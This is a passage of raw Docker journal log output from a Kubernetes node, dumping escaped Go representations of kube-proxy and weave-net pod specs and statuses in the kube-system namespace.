, cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ default-token-6mt5m\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  0xc82171c7e0 , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}}, initcontainers:  v1.container nil , containers:  v1.container{v1.container{name:\\\ kube-proxy\\\ , image:\\\ gcr.io/google_containers/kube-proxy-amd64:v1.5.1\\\ , command:  string{\\\ kube-proxy\\\ , \\\ --kubeconfig=/run/kubeconfig\\\ }, args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist nil }, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ dbus\\\ , readonly:false, mountpath:\\\ /var/run/dbus\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ kubeconfig\\\ , readonly:false, mountpath:\\\ /run/kubeconfig\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  nil , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc82171ca50 , stdin:false, stdinonce:false, tty:false}}, restartpolicy:\\\ always\\\ , terminationgraceperiodseconds:  int64  0xc821540ff0 , activedeadlineseconds:  int64  nil , dnspolicy:\\\ clusterfirst\\\ , nodeselector:map string string nil , serviceaccountname:\\\ default\\\ , deprecatedserviceaccount:\\\ default\\\ , nodename:\\\ vmwarecgsl5-2.localdomain\\\ , hostnetwork:true, hostpid:false, hostipc:false, securitycontext:  v1.podsecuritycontext  0xc8219f2940 , imagepullsecrets:  v1.localobjectreference nil , hostname:\\\ \\\ , subdomain:\\\ \\\ }, status:v1.podstatus{phase:\\\ running\\\ , conditions:  v1.podcondition{v1.podcondition{type:\\\ initialized\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ ready\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63622170258, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ podscheduled\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163174, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }}, message:\\\ \\\ , reason:\\\ \\\ , hostip:\\\ 10.114.12.51\\\ , podip:\\\ 10.114.12.51\\\ , starttime:  unversioned.time  0xc821887e20 , initcontainerstatuses:  v1.containerstatus nil , containerstatuses:  v1.containerstatus{v1.containerstatus{name:\\\ kube-proxy\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc821887f20 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc820467c70 }, ready:true, restartcount:3, image:\\\ gcr.io/google_containers/kube-proxy-amd64:v1.5.1\\\ , imageid:\\\ docker://sha256:71d2b27b03f6cd127b54f3c49616db4819e4a2e3c16e74b3140c8b9fbcbb82b5\\\ , containerid:\\\ docker://b969b6835fa2173111207386554133120e62fd8a0884d271ad7ae76329fbba68\\\ }}}}\ \r feb 09 01:37:31 vmwarecgsl5.localdomain docker-current 1034 : time=\ 2017-02-08t17:37:31z\  level=info msg=\ event updatepod &v1.pod{typemeta:unversioned.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ weave-net-v01k4\\\ , generatename:\\\ weave-net-\\\ , namespace:\\\ kube-system\\\ , selflink:\\\ /api/v1/namespaces/kube-system/pods/weave-net-v01k4\\\ , uid:\\\ 7a9dc798-dbdf-11e6-a074-000c2972045a\\\ , resourceversion:\\\ 494499\\\ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{\\\ name\\\ :\\\ weave-net\\\ }, annotations:map string string{\\\ kubernetes.io/created-by\\\ :\\\ {\\\\\\\ kind\\\\\\\ :\\\\\\\ serializedreference\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ v1\\\\\\\ ,\\\\\\\ reference\\\\\\\ :{\\\\\\\ kind\\\\\\\ :\\\\\\\ daemonset\\\\\\\ ,\\\\\\\ namespace\\\\\\\ :\\\\\\\ kube-system\\\\\\\ ,\\\\\\\ name\\\\\\\ :\\\\\\\ weave-net\\\\\\\ ,\\\\\\\ uid\\\\\\\ :\\\\\\\ 11a1f0f2-dbdd-11e6-a074-000c2972045a\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ extensions\\\\\\\ ,\\\\\\\ resourceversion\\\\\\\ :\\\\\\\ 1018\\\\\\\ }}\\\ \\\ , \\\ scheduler.alpha.kubernetes.io/tolerations\\\ :\\\  \\\   {\\\     \\\\\\\ key\\\\\\\ : \\\\\\\ dedicated\\\\\\\ ,\\\     \\\\\\\ operator\\\\\\\ : \\\\\\\ equal\\\\\\\ ,\\\     \\\\\\\ value\\\\\\\ : \\\\\\\ master\\\\\\\ ,\\\     \\\\\\\ effect\\\\\\\ : \\\\\\\ noschedule\\\\\\\ \\\   }\\\  \\\ \\\ }, ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\\\ \\\ }, spec:v1.podspec{volumes:  v1.volume{v1.volume{name:\\\ weavedb\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  0xc8215474e0 , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-bin\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821547540 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-bin2\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc8215475d0 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-conf\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821547660 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ default-token-6mt5m\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  0xc82171c450 , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}}, initcontainers:  v1.container nil , containers:  v1.container{v1.container{name:\\\ weave\\\ , image:\\\ weaveworks/weave-kube:1.8.2\\\ , command:  string{\\\ /home/weave/launch.sh\\\ }, args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist{\\\ cpu\\\ :resource.quantity{i:resource.int64amount{value:10, scale:-3}, d:resource.infdecamount{dec:  inf.dec  nil }, s:\\\ 10m\\\ , format:\\\ decimalsi\\\ }}}, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ weavedb\\\ , readonly:false, mountpath:\\\ /weavedb\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-bin\\\ , readonly:false, mountpath:\\\ /opt\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-bin2\\\ , readonly:false, mountpath:\\\ /host_home\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-conf\\\ , readonly:false, mountpath:\\\ /etc\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  0xc82171c4e0 , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc82171c510 , stdin:false, stdinonce:false, tty:false}, v1.container{name:\\\ weave-npc\\\ , image:\\\ weaveworks/weave-npc:1.8.2\\\ , command:  string nil , args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist{\\\ cpu\\\ :resource.quantity{i:resource.int64amount{value:10, scale:-3}, d:resource.infdecamount{dec:  inf.dec  nil }, s:\\\ 10m\\\ , format:\\\ decimalsi\\\ }}}, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  nil , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc82171c5a0 , stdin:false, stdinonce:false, tty:false}}, restartpolicy:\\\ always\\\ , terminationgraceperiodseconds:  int64  0xc821547d50 , activedeadlineseconds:  int64  nil , dnspolicy:\\\ clusterfirst\\\ , nodeselector:map string string nil , serviceaccountname:\\\ default\\\ , deprecatedserviceaccount:\\\ default\\\ , nodename:\\\ vmwarecgsl5-2.localdomain\\\ , hostnetwork:true, hostpid:true, hostipc:false, securitycontext:  v1.podsecuritycontext  0xc8219f26c0 , imagepullsecrets:  v1.localobjectreference nil , hostname:\\\ \\\ , subdomain:\\\ \\\ }, status:v1.podstatus{phase:\\\ running\\\ , conditions:  v1.podcondition{v1.podcondition{type:\\\ initialized\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163157, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ ready\\\ , status:\\\ false\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63622170307, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ podscheduled\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163157, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }}, message:\\\ \\\ , reason:\\\ \\\ , hostip:\\\ 10.114.12.51\\\ , podip:\\\ 10.114.12.51\\\ , starttime:  unversioned.time  0xc8218855e0 , initcontainerstatuses:  v1.containerstatus nil , containerstatuses:  v1.containerstatus{v1.containerstatus{name:\\\ weave\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc8218856e0 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc820467880 }, ready:true, restartcount:6, image:\\\ weaveworks/weave-kube:1.8.2\\\ , imageid:\\\ docker://sha256:a4740ae55aae4985e19624fe18a49455ca386da6a7918723d13b7672a3474082\\\ , containerid:\\\ docker://865da5295315b440e8e4925ebfa61d2d09139af1bdab1c12b70c33d4346fc617\\\ }, v1.containerstatus{name:\\\ weave-npc\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc8218859e0 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc8204679d0 }, ready:true, restartcount:2, image:\\\ weaveworks/weave-npc:1.8.2\\\ , imageid:\\\ docker://sha256:c91ef3f4642b6e3bc033a516808d34409bfce57962e1ec506c23fde0b8275fa3\\\ , containerid:\\\ docker://b39c2217b688d265b46624b7a7000e53780482f0d7f0ca31326f005783e7ba63\\\ }}}} &v1.pod{typemeta:unversioned.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ weave-net-v01k4\\\ , generatename:\\\ weave-net-\\\ , namespace:\\\ kube-system\\\ , selflink:\\\ /api/v1/namespaces/kube-system/pods/weave-net-v01k4\\\ , uid:\\\ 7a9dc798-dbdf-11e6-a074-000c2972045a\\\ , resourceversion:\\\ 494505\\\ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{\\\ name\\\ :\\\ weave-net\\\ }, annotations:map string string{\\\ kubernetes.io/created-by\\\ :\\\ {\\\\\\\ kind\\\\\\\ :\\\\\\\ serializedreference\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ v1\\\\\\\ ,\\\\\\\ reference\\\\\\\ :{\\\\\\\ kind\\\\\\\ :\\\\\\\ daemonset\\\\\\\ ,\\\\\\\ namespace\\\\\\\ :\\\\\\\ kube-system\\\\\\\ ,\\\\\\\ name\\\\\\\ :\\\\\\\ weave-net\\\\\\\ ,\\\\\\\ uid\\\\\\\ :\\\\\\\ 11a1f0f2-dbdd-11e6-a074-000c2972045a\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ extensions\\\\\\\ ,\\\\\\\ resourceversion\\\\\\\ :\\\\\\\ 1018\\\\\\\ }}\\\ \\\ , \\\ scheduler.alpha.kubernetes.io/tolerations\\\ :\\\  \\\   {\\\     \\\\\\\ key\\\\\\\ : \\\\\\\ dedicated\\\\\\\ ,\\\     \\\\\\\ operator\\\\\\\ : \\\\\\\ equal\\\\\\\ ,\\\     \\\\\\\ value\\\\\\\ : \\\\\\\ master\\\\\\\ ,\\\     \\\\\\\ effect\\\\\\\ : \\\\\\\ noschedule\\\\\\\ \\\   }\\\  \\\ \\\ }, ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\\\ \\\ }, spec:v1.podspec{volumes:  v1.volume{v1.volume{name:\\\ weavedb\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  0xc821535600 , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-bin\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821535660 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-bin2\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc8215356f0 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-conf\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821535780 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesourc\r feb 09 01:37:31 vmwarecgsl5.localdomain docker-current 1034 : e  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ default-token-6mt5m\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  0xc8216d88a0 , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}}, initcontainers:  v1.container nil , containers:  v1.container{v1.container{name:\\\ weave\\\ , image:\\\ weaveworks/weave-kube:1.8.2\\\ , command:  string{\\\ /home/weave/launch.sh\\\ }, args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist{\\\ cpu\\\ :resource.quantity{i:resource.int64amount{value:10, scale:-3}, d:resource.infdecamount{dec:  inf.dec  nil }, s:\\\ 10m\\\ , format:\\\ decimalsi\\\ }}}, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ weavedb\\\ , readonly:false, mountpath:\\\ /weavedb\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-bin\\\ , readonly:false, mountpath:\\\ /opt\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-bin2\\\ , readonly:false, mountpath:\\\ /host_home\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-conf\\\ , readonly:false, mountpath:\\\ /etc\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  0xc8216d8930 , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc8216d8960 , stdin:false, stdinonce:false, tty:false}, v1.container{name:\\\ weave-npc\\\ , image:\\\ weaveworks/weave-npc:1.8.2\\\ , command:  string nil , args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist{\\\ cpu\\\ :resource.quantity{i:resource.int64amount{value:10, scale:-3}, d:resource.infdecamount{dec:  inf.dec  nil }, s:\\\ 10m\\\ , format:\\\ decimalsi\\\ }}}, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  nil , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc8216d89f0 , stdin:false, stdinonce:false, tty:false}}, restartpolicy:\\\ always\\\ , terminationgraceperiodseconds:  int64  0xc821535e80 , activedeadlineseconds:  int64  nil , dnspolicy:\\\ clusterfirst\\\ , nodeselector:map string string nil , serviceaccountname:\\\ default\\\ , deprecatedserviceaccount:\\\ default\\\ , nodename:\\\ vmwarecgsl5-2.localdomain\\\ , hostnetwork:true, hostpid:true, hostipc:false, securitycontext:  v1.podsecuritycontext  0xc821946cc0 , imagepullsecrets:  v1.localobjectreference nil , hostname:\\\ \\\ , subdomain:\\\ \\\ }, status:v1.podstatus{phase:\\\ running\\\ , conditions:  v1.podcondition{v1.podcondition{type:\\\ initialized\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163157, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ ready\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, 